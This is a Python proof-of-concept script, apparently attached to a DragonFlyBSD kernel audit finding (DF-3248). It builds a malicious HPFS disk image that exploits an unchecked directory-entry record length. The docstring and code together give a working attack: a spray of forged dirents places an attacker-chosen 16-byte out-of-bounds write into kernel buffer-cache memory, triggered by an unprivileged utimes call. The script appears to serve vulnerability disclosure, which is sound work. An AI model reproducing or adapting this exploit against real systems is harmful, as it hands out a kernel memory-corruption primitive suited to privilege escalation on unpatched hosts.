โฌข DragonFlyBSD Kernel Audit
DF-3248 / craft_img.py
โ† back to finding โ†“ download raw
#!/usr/bin/env python3
"""
DF-3248 โ€” crafted HPFS image demonstrating the out-of-bounds WRITE through
hpfs_genlookupbyname's unvalidated dirent walk (sys/vfs/hpfs/hpfs_lookup.c:82-97)
reached from hpfs_updateparent (sys/vfs/hpfs/hpfs_subr.c:699-709).

Root cause: hpfs_genlookupbyname advances dep by attacker-controlled de_reclen
(u16, raw on-disk) with no bound against the 2048-byte D_BSIZE bread buffer and
no validation of de_reclen. Read side = DF-0927. NEW (this finding): the WRITE
sink โ€” hpfs_updateparent calls the same walk and, on a name match at the
(possibly OOB) dep, executes

    dep->de_mtime = hp->h_mtime;      /* u_long 8B, user-chosen via utimes */
    dep->de_size  = hp->h_fn.fn_size; /* u32, attacker image value        */
    dep->de_atime = hp->h_atime;      /* u_long 8B, user-chosen via utimes */
    bdwrite(bp);                      /* in-bounds 2048B only -> disk     */

=> 16 bytes of attacker-chosen data (8B mtime @dep+8, 4B size @dep+16,
   8B atime @dep+24) written at an attacker-chosen offset past the end of a
   kernel buffer-cache chunk, triggered by unprivileged utimes()+close.

Deterministic-landing design: 24 "spray" dirblks are cached after root+root2;
each contains a forged "ZFILE" dirent at EVERY 128-byte phase (+128..+1792).
The XSTEP2 dirent in root2 hops dep by HOP2 = 2048*T + 44, so the landing
address is root2_bdata + 2048*T + 128 โ€” 2048-class chunks are 2048-strided,
so whenever the landing falls inside ANY sprayed chunk it hits a forged
dirent exactly. The in-bounds walks that pre-cache every chunk use the name
"QZ", which sorts between "MID" and "XSTEP2" (graceful ENOENT, no dive past
XSTEP2, no OOB), and hpfs_validateparent(root) terminates at the "MID"
dirent (de_fnode == 0x20, subr.c:583) โ€” the known walk bugs (DF-0865,
DF-3143, DF-0927 read side) are never tripped.

Sector layout:
  0x010 sublock   0x011 spblock   0x030 bmind[0]=0x38   0x038 bitmap
  0x020 root fnode (VDIR) -> root dirblk @0x40
  0x040 root dirblk: 24 dirents "D2".."D25" (sorted), "XSTEP"@1556
        (DE_DOWN -> root2), END@1684 (DE_END|DE_DOWN -> root2)
  0x048 root2 dirblk: "MID"@20 (de_fnode=0x20: validateparent's clean exit),
        "XSTEP2"@84 (de_reclen = HOP2: THE OOB HOP)
  0x058 fnode "ZFILE" (VREG, fn_size = 0x00CAFEBABE = the 4B size write)
  0x060+8*k   fnode for spray dir k (VDIR) -> dirblk @0x200+0x10*k
  0x200+0x10*k spray dirblk: W@20 (reclen 108 -> +128), forged "ZFILE"
        dirents @+128..+1792 (reclen 128, fnode 0x58, mtime/size/atime
        pre-markers C1/C2/C3), END@1920

usage: craft_img.py <out.img> <T> [smoke]   # HOP2 = 2048*T + 44
"""
import struct, sys

SECTOR = 512
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
DE_DOWN  = 0x0004
DE_END   = 0x0008

NSPRAY    = 24
ROOT_FNO  = 0x20
ROOT_DB   = 0x40
ROOT2_DB  = 0x48
ZFILE_FNO = 0x58
D_FNO     = lambda k: 0x60 + 8*k
D_DB      = lambda k: 0x200 + 0x10*k
NSECT     = 0x380

def dirent(buf, off, reclen, flag, fnode, mtime, size, atime, ctime, name):
    n = len(name)
    struct.pack_into('<HHI', buf, off+0,  reclen & 0xFFFF, flag, fnode)
    struct.pack_into('<Q',  buf, off+8,  mtime & 0xFFFFFFFFFFFFFFFF)
    struct.pack_into('<I',  buf, off+16, size  & 0xFFFFFFFF)
    struct.pack_into('<Q',  buf, off+24, atime & 0xFFFFFFFFFFFFFFFF)
    struct.pack_into('<Q',  buf, off+32, ctime & 0xFFFFFFFFFFFFFFFF)
    struct.pack_into('<I',  buf, off+40, 0)
    buf[off+44] = 0
    buf[off+45] = 0
    buf[off+46] = n
    buf[off+47:off+47+n] = name

def dirblk_hdr(buf, off, parent, self_lsn):
    struct.pack_into('<IIII I', buf, off, D_MAGIC, 2048, 0, parent, self_lsn)

def fnode(buf, off, name, parent, flag, size, abd_lsn, busy, freeoff_ab):
    n = len(name)
    struct.pack_into('<I', buf, off+0x00, FN_MAGIC)
    buf[off+0x10] = n
    buf[off+0x11:off+0x11+n] = name
    struct.pack_into('<I', buf, off+0x20, parent)
    buf[off+0x3B] = flag
    buf[off+0x3C] = 0
    buf[off+0x40] = 9 - busy
    buf[off+0x41] = busy
    struct.pack_into('<H', buf, off+0x42, freeoff_ab)
    if abd_lsn:
        struct.pack_into('<III', buf, off+0x44, 0, 1, abd_lsn)
    struct.pack_into('<I', buf, off+0xA4, size & 0xFFFFFFFF)

def build(outpath, T, smoke=False):
    img = bytearray(NSECT * SECTOR)
    img[0] = 0xEB
    struct.pack_into('<H', img, SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    struct.pack_into('<Q', img, su + 0, SU_MAGIC)
    img[su + 8] = 2
    struct.pack_into('<I', img, su + 12, ROOT_FNO)
    struct.pack_into('<I', img, su + 16, NSECT)
    struct.pack_into('<I', img, su + 24, 0x30)
    struct.pack_into('<I', img, su + 28, 0x30)
    struct.pack_into('<Q', img, 0x11 * SECTOR, SP_MAGIC)
    struct.pack_into('<I', img, 0x30 * SECTOR, 0x38)

    fnode(img, ROOT_FNO*SECTOR, b'.', ROOT_FNO, 1, 0, ROOT_DB, 1, 20)

    HOP2 = 2048 * T + 44      # landing = root2_bdata + 2048*T + 128

    # ---- root dirblk ----
    db = ROOT_DB * SECTOR
    dirblk_hdr(img, db, ROOT_FNO, ROOT_DB)
    names = sorted(b'D%d' % i for i in range(2, 2 + NSPRAY))
    for k, nm in enumerate(names):
        dirent(img, db + 20 + 64*k, 64, 0, D_FNO(k), 0, 0, 0, 0, nm)
    xo = 20 + 64*NSPRAY                                  # 1556
    if smoke:
        # in-bounds control: "ZFILE" dirent directly in root, no dive
        dirent(img, db + xo, 64, 0, 0, 0, 0, 0, 0, b'XSTEP')
        dirent(img, db + xo + 64, 64, 0, ZFILE_FNO,
               0xC1C1C1C1C1C1C1C1, 0xC2C2C2C2,
               0xC3C3C3C3C3C3C3C3, 0, b'ZFILE')
        eo = xo + 128
        dirent(img, db + eo, 2048 - eo, DE_END, 0, 0, 0, 0, 0, b'')
    else:
        # XSTEP@1556: reclen 128 -> END@1684. DE_DOWN so that any name
        # sorting before "XSTEP" (e.g. the precache name "QZ") breaks here
        # and dives to root2; "ZFILE" sorts after and advances to the END
        # marker, which also dives to root2.
        dirent(img, db + xo, 128, DE_DOWN, 0, 0, 0, 0, 0, b'XSTEP')
        struct.pack_into('<I', img, db + xo + 124, ROOT2_DB)  # DOWNLSN @reclen-4
        eo = xo + 128                                      # 1684
        struct.pack_into('<HI', img, db + eo, 2048 - eo, DE_END | DE_DOWN)
        struct.pack_into('<I', img, db + 2048 - 4, ROOT2_DB)

    # ---- root2 dirblk (dive target; XSTEP2 holds the OOB hop) ----
    if not smoke:
        d2 = ROOT2_DB * SECTOR
        dirblk_hdr(img, d2, ROOT_FNO, ROOT2_DB)
        dirent(img, d2 + 20, 64, 0, ROOT_FNO, 0, 0, 0, 0, b'MID')
        dirent(img, d2 + 84, HOP2, 0, 0, 0, 0, 0, 0, b'XSTEP2')

    # ---- ZFILE fnode ----
    fnode(img, ZFILE_FNO*SECTOR, b'ZFILE', ROOT_FNO, 0, 0x00CAFEBABE, None, 0, 8)

    # ---- spray dirs ----
    for k in range(NSPRAY):
        fnode(img, D_FNO(k)*SECTOR, names[k], ROOT_FNO, 1, 0, D_DB(k), 1, 20)
        d = D_DB(k) * SECTOR
        dirblk_hdr(img, d, ROOT_FNO, D_DB(k))
        # W@20: reclen 108 -> +128; flag 0; rest filler
        struct.pack_into('<HHI', img, d + 20, 108, 0, 0x46464646)
        img[d + 24:d + 128] = b'\x46' * (128 - 24)
        # forged "ZFILE" dirents at +128..+1792, END variant @+1920
        for j in range(1, 16):
            off = d + 128*j
            if j == 15:
                dirent(img, off, 128, DE_END, 0, 0, 0, 0, 0, b'')
            else:
                dirent(img, off, 128, 0, ZFILE_FNO,
                       0xC1C1C1C1C1C1C1C1, 0xC2C2C2C2,
                       0xC3C3C3C3C3C3C3C3, 0, b'ZFILE')
                img[off + 52:off + 128] = b'\x46' * (128 - 52)

    with open(outpath, 'wb') as f:
        f.write(img)
    if smoke:
        print("wrote %s: SMOKE in-bounds control (ZFILE dirent in root)" % outpath)
    else:
        print("wrote %s: T=%d HOP2=%d -> landing = root2_bdata+2048*%d+128 "
              "(F@+128 of spray chunk #%d if 2048-contiguous)" %
              (outpath, T, HOP2, T, T))

if __name__ == '__main__':
    smoke = len(sys.argv) > 3 and sys.argv[3] == 'smoke'
    build(sys.argv[1], int(sys.argv[2]), smoke)